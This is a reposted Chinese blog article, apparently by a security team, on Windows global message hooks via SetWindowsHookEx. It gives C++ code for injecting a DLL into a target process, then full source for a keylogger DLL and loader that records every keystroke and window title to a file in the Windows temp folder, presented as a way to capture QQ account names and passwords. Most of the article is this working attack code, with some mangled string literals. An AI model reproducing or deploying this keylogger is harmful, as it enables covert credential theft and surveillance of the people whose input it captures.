全局钩子注入-注入QQ获取账号密码实现

华盟原创文章投稿奖励计划

全局钩子注入-注入QQ获取账号密码实现

文章来源:None安全团队

全局钩子注入-获取QQ密码实现

全局钩子注入-获取QQ密码实现 水一篇✨✨✨✨✨

SetWindowsHookExA

将应用程序定义的挂钩过程安装到挂钩链中。您将安装一个挂钩程序来监视系统中某些类型的事件。这些事件与特定线程或与调用线程相同的桌面中的所有线程相关联。

HHOOK SetWindowsHookExA( [in] int       idHook, [in] HOOKPROC lpfn, [in] HINSTANCE hmod, [in] DWORD     dwThreadId );

官网文档 :https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa

第一个参数表示钩子的类型,WH_GETMESSAGE表示安装消息队列的消息钩子(类型比较多 详情可以看文档),它可以监控发送到消息队列的消息。第二个参数表示钩子回调函数。第三个参数表示包含钩子回调函数的dll句柄,如果要设置全局钩子,则该参数必须指定dll模块句柄。第四个参数表示域钩子关联的线程id,0表示全局钩子。

UnhookWindowsHookEx

删除通过SetWindowsHookEx函数安装的钩子。

BOOL UnhookWindowsHookEx( [in] HHOOK hhk );

简单代码实现dll注入

#include <windows.h> #include <iostream> #include <TlHelp32.h>   HHOOK g_hook; FARPROC procaddr; HMODULE Hdll; LRESULT GetMessPro(int code, WPARAM wParam, LPARAM lparam);  //定义注入函数 BOOL SetGlobalHook() { //要注入的进程id int dwPid = 776; //使用进程快照 遍历进程 获取线程id HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwPid); THREADENTRY32 te32 = { sizeof(THREADENTRY32) }; BOOL bRet = Thread32First(hSnap, &te32); if (bRet) { do { if (te32.th32OwnerProcessID == dwPid) { //安装钩子实现dll注入 第一个参数安装消息钩子 第二个参数使用的dll中的函数 第三个参数是dll句柄 第4个参数线程id 如果是全局的用0 g_hook = SetWindowsHookExW(WH_GETMESSAGE, (HOOKPROC)procaddr, (HINSTANCE)Hdll, te32.th32ThreadID);  break; } } while (Thread32Next(hSnap, &te32)); } if (g_hook == NULL) { printf("SetGlobalHook error"); } return TRUE; }   void main() { //加载dll 获取函数地址 执行注入函数 Hdll = LoadLibraryW(L"ConsoleApplication4.dll"); procaddr = GetProcAddress(Hdll, "mess"); SetGlobalHook(); system("pause"); }

全局钩子注入-注入QQ获取账号密码实现

通过setWindowsHookEx()实现键盘记录器

实现原理当按下键盘,产生一个消息,按键消息加入到系统消息队列 操作系统从消息队列中取出消息,添加到相应的程序的消息队列中 ;

应用程序使用消息Hook从自身的消息队列中取出消息WM_KEYDOWN,调用消息处理函数。我们可以在系统消息队列之间添加消息钩子,从而使得在系统消息队列消息发给应用程序之前捕获到消息。

可以多次添加钩子,从而形成一个钩子链,可以依次调用函数。

QQ最新版可以直接获取输入的账号密码

全局钩子注入-注入QQ获取账号密码实现

代码实现 下面的代码忘记从哪里保存的了 太久了 注释里有作者id PeterZheng

// ConsoleApplication1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 //  #include <iostream> #include <windows.h> #include <cstdio> #include <cstdlib> #include <iostream>  using namespace std;  typedef BOOL(*StartHook)();  int main() { HMODULE hModule = LoadLibraryW(L"Dll1.dll"); if (hModule == NULL) { std::cout << GetLastError(); return 0; } StartHook STHK = (StartHook)GetProcAddress(hModule, "StartHook"); if (STHK == NULL) { return 0; } BOOL bRet = STHK(); if (bRet) { MessageBoxW(NULL, L"Hook Success", L"SetHook", 0); } else { MessageBoxW(NULL, L"Hook Error", L"SetHook", 0); return 0; } Sleep(100000); return 0; }  // 运行程序: Ctrl + F5 或调试 >“开始执行(不调试)”菜单 // 调试程序: F5 或调试 >“开始调试”菜单  // 入门使用技巧: //   1. 使用解决方案资源管理器窗口添加/管理文件 //   2. 使用团队资源管理器窗口连接到源代码管理 //   3. 使用输出窗口查看生成输出和其他消息 //   4. 使用错误列表窗口查看错误 //   5. 转到“项目”>“添加新项”以创建新的代码文件,或转到“项目”>“添加现有项”以将现有代码文件添加到项目 //   6. 将来,若要再次打开此项目,请转到“文件”>“打开”>“项目”并选择 .sln 文件    //dll // // // FileName : KbHook.cpp // Creator : PeterZheng // Date : 2019/2/12 09:32 // Comment : Keyboard Hook Demo // //  #include <cstdio> #include <iostream> #include <cstdlib> #include <queue> #include <windows.h>  using namespace std;  //本文件模块句柄 HINSTANCE g_hInstance = NULL;  // HOOK钩子句柄 HHOOK g_hHook = NULL;  // 键盘记录日志路径 const CHAR KEYBOARD_LOG[30] = "c:\windows\temp\data.txt"; // 字符串缓冲区默认长度 const SHORT BUFF_LENGTH = 100;  CONST DWORD KeyMask = 0x80000000;  // 创建共享内存段 // param szPreTitle 保存上一个文件标题 #pragma data_seg("sharedata") CHAR szPreTitle[BUFF_LENGTH] = { 0 }; #pragma data_seg() #pragma comment(linker, "/SECTION:sharedata,RWS")  CHAR szBuff[BUFF_LENGTH] = { 0 };  /* 使用“表驱动”的方式进行键位映射,可减少大多数键盘记录器中存在的大量if-else结构的情况, 大幅度缩小程序体积。 */  // 键盘虚拟映射值表 CONST UCHAR SPECIAL_SIGN_MAPPING_TABLE[][20] = { {192, 189, 187, 219, 221, 220, 186, 222, 188, 190, 191}, {VK_F1, VK_F2, VK_F3, VK_F4, VK_F5, VK_F6, VK_F7, VK_F8, VK_F9, VK_F10, VK_F11, VK_F12}, {VK_ESCAPE, VK_TAB, VK_CONTROL, VK_MENU, VK_LWIN, VK_RWIN, VK_INSERT, VK_DELETE, VK_HOME, VK_RETURN, VK_SPACE}, {VK_NUMLOCK, VK_BACK, VK_END, VK_PRIOR, VK_NEXT, VK_CANCEL, VK_CLEAR, VK_SELECT, VK_PRINT, VK_EXECUTE, VK_LEFT, VK_RIGHT, VK_UP, VK_DOWN}, {VK_ADD, VK_SUBTRACT, VK_MULTIPLY, VK_DIVIDE, 190, 110}, {VK_NUMPAD0, VK_NUMPAD1, VK_NUMPAD2, VK_NUMPAD3, VK_NUMPAD4, VK_NUMPAD5, VK_NUMPAD6, VK_NUMPAD7, VK_NUMPAD8, VK_NUMPAD9} };  // 真实字符映射码表 CONST CHAR* CONST OBJECT_SIGN_MAPPING_TABLE[][20] = { {"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"}, { "!", "@", "#", "$", "%", "^", "&", "*", "(", ")" }, { "`", "-", "=", "[", "]", "\", ";", "'", ",", ".", "/" }, { "~", "_", "+", "{", "}", "\|", ":", """, "<", ">", "?" }, { "[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", "[F11]", "[F12]" }, {"[ESCAPE]", "[TAB]", "[CTRL]", "[ALT]", "[LWIN]", "[RWIN]", "[INSERT]", "[DELETE]", "[HOME]", "[Enter]", "[SPACE]"}, {"[NUMLOCK]", "[BACKSPACE]", "[END]", "[PGUP]", "[PGDOWN]", "[CANCEL]", "[CLEAR]", "[SELECT]", "[PRINT]", "[EXCUTE]", "[←]", "[→]", "[↑]", "[↓]" }, {"+", "-", "*", "/", ".", "."}, {"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"}, };  // Dll执行入口 BOOL APIENTRY DllMain(_In_ void* _DllHandle, _In_ unsigned long _Reason, _In_opt_ void* _Reserved) { g_hInstance = (HINSTANCE)_DllHandle; switch (_Reason) { case DLL_PROCESS_ATTACH: break; case DLL_THREAD_ATTACH: break; case DLL_PROCESS_DETACH: case DLL_THREAD_DETACH: if (g_hHook != NULL) { UnhookWindowsHookEx(g_hHook); } break; } return TRUE; }  // 获取当前本地时间 VOID GetFmLocalTime(CHAR* szFmTime) { ZeroMemory(szFmTime, BUFF_LENGTH); SYSTEMTIME sys_t; GetLocalTime(&sys_t); sprintf_s(szFmTime, BUFF_LENGTH, "%4d/%02d/%02d %02d:%02d:%02d   ", sys_t.wYear, sys_t.wMonth, sys_t.wDay, sys_t.wHour, sys_t.wMinute, sys_t.wSecond); return; }  // 把字符保存到文件 VOID SetDataToFile(CHAR *buff) { HANDLE hFile = CreateFile((LPCWSTR)KEYBOARD_LOG, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { MessageBox(NULL, L"CreateFile Error", L"Tips", MB_OK); return; } if (SetFilePointer(hFile, 0, NULL, FILE_END) == -1) { MessageBox(NULL, L"SetFilePointer Error", L"Tips", MB_OK); return; } DWORD dwWrite = 0; if (!WriteFile(hFile, buff, strlen(buff), &dwWrite, NULL)) { MessageBox(NULL, L"WriteFile Error", L"Tips", MB_OK); return; } CloseHandle(hFile); return; }  // 键盘钩子回调函数 LRESULT CALLBACK KeyHookProc( _In_ int   nCode, _In_ WPARAM wParam, _In_ LPARAM lParam ) { if (nCode < 0) return CallNextHookEx(g_hHook, nCode, wParam, lParam); if (nCode == HC_ACTION) { MSG *p = (MSG*)lParam; //判断是否由击键消息 if (p->message == WM_KEYDOWN) { UCHAR vKey = (UCHAR)p->wParam; ZeroMemory(szBuff, BUFF_LENGTH); // 时间和标题信息字符串 CHAR szInsert[BUFF_LENGTH] = "�"; // 当前窗口名 CHAR szNowTitle[BUFF_LENGTH] = "�"; HWND hForegroundWnd = GetForegroundWindow(); GetWindowText(hForegroundWnd, (LPWSTR)szNowTitle, BUFF_LENGTH); if (strcmp(szNowTitle, szPreTitle) != 0) { // 格式化时间字符串 CHAR szFmLocalTime[BUFF_LENGTH] = "�"; GetFmLocalTime(szFmLocalTime); strcat_s(szInsert, BUFF_LENGTH, "rnrn< "); strcat_s(szInsert, BUFF_LENGTH, szFmLocalTime); strcat_s(szInsert, BUFF_LENGTH, szNowTitle); strcat_s(szInsert, BUFF_LENGTH, " >rnrn"); strcpy_s(szPreTitle, BUFF_LENGTH, szNowTitle); SetDataToFile(szInsert); } DWORD iShift = GetKeyState(VK_SHIFT); DWORD iCapital = GetKeyState(VK_CAPITAL); DWORD iNumLock = GetKeyState(VK_NUMLOCK); BOOL bShift = (iShift & KeyMask) == KeyMask; BOOL bCapital = (iCapital & 1) == 1; BOOL bNumLock = (iNumLock & 1) == 1; // 顶部数字键 if (vKey >= '0' && vKey <= '9') { if (!bShift) { strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[0][vKey - '0']); } else { strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[1][vKey - '0']); } goto END; } // 标点符号键 for (int i = 0; i < 11; i++) { if (vKey == SPECIAL_SIGN_MAPPING_TABLE[0][i]) { if (!bShift) { strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[2][i]); } else { strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[3][i]); } goto END; } } // 字母键 if (vKey >= 'A' && vKey <= 'Z') { if (bShift || bCapital) { szBuff[0] = vKey; } else { szBuff[0] = vKey + 32; } goto END; } // F1 - F12 键 for (int i = 0; i < 12; i++) { if (vKey == SPECIAL_SIGN_MAPPING_TABLE[1][i]) { strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[4][i]); goto END; } } // 特殊功能键 for (int i = 0; i < 11; i++) { if (vKey == SPECIAL_SIGN_MAPPING_TABLE[2][i]) { strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[5][i]); goto END; } } for (int i = 0; i < 14; i++) { if (vKey == SPECIAL_SIGN_MAPPING_TABLE[3][i]) { strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[6][i]); goto END; } } // 小键盘 for (int i = 0; i < 6; i++) { if (vKey == SPECIAL_SIGN_MAPPING_TABLE[4][i] && bNumLock) { strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[7][i]); goto END; } } for (int i = 0; i < 10; i++) { if (vKey == SPECIAL_SIGN_MAPPING_TABLE[5][i] && bNumLock) { strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[0][i]); goto END; } } END: SetDataToFile(szBuff); } } return CallNextHookEx(g_hHook, nCode, wParam, lParam); }  // 部署全局钩子 extern"C" __declspec(dllexport) BOOL StartHook() { if (g_hHook != NULL) return FALSE; //安装钩子 g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)KeyHookProc, g_hInstance, NULL); return TRUE; }  // 卸载钩子 BOOL StopHook() { if (g_hHook != NULL) { if (!UnhookWindowsHookEx(g_hHook)) return FALSE; g_hHook = NULL; } return TRUE; }

如侵权请私聊删文

END

华盟知识星球入口

本文来源None安全团队,经授权后由华盟君发布,观点不代表华盟网的立场,转载请联系原作者。

发表评论